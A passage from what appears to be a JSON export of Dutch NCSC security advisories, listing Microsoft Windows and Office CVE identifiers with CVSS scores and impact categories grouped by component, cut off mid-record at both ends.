| \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:07.480622Z"}, {"uuid": "92e51299-11a4-4339-af46-d90b334d70ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| 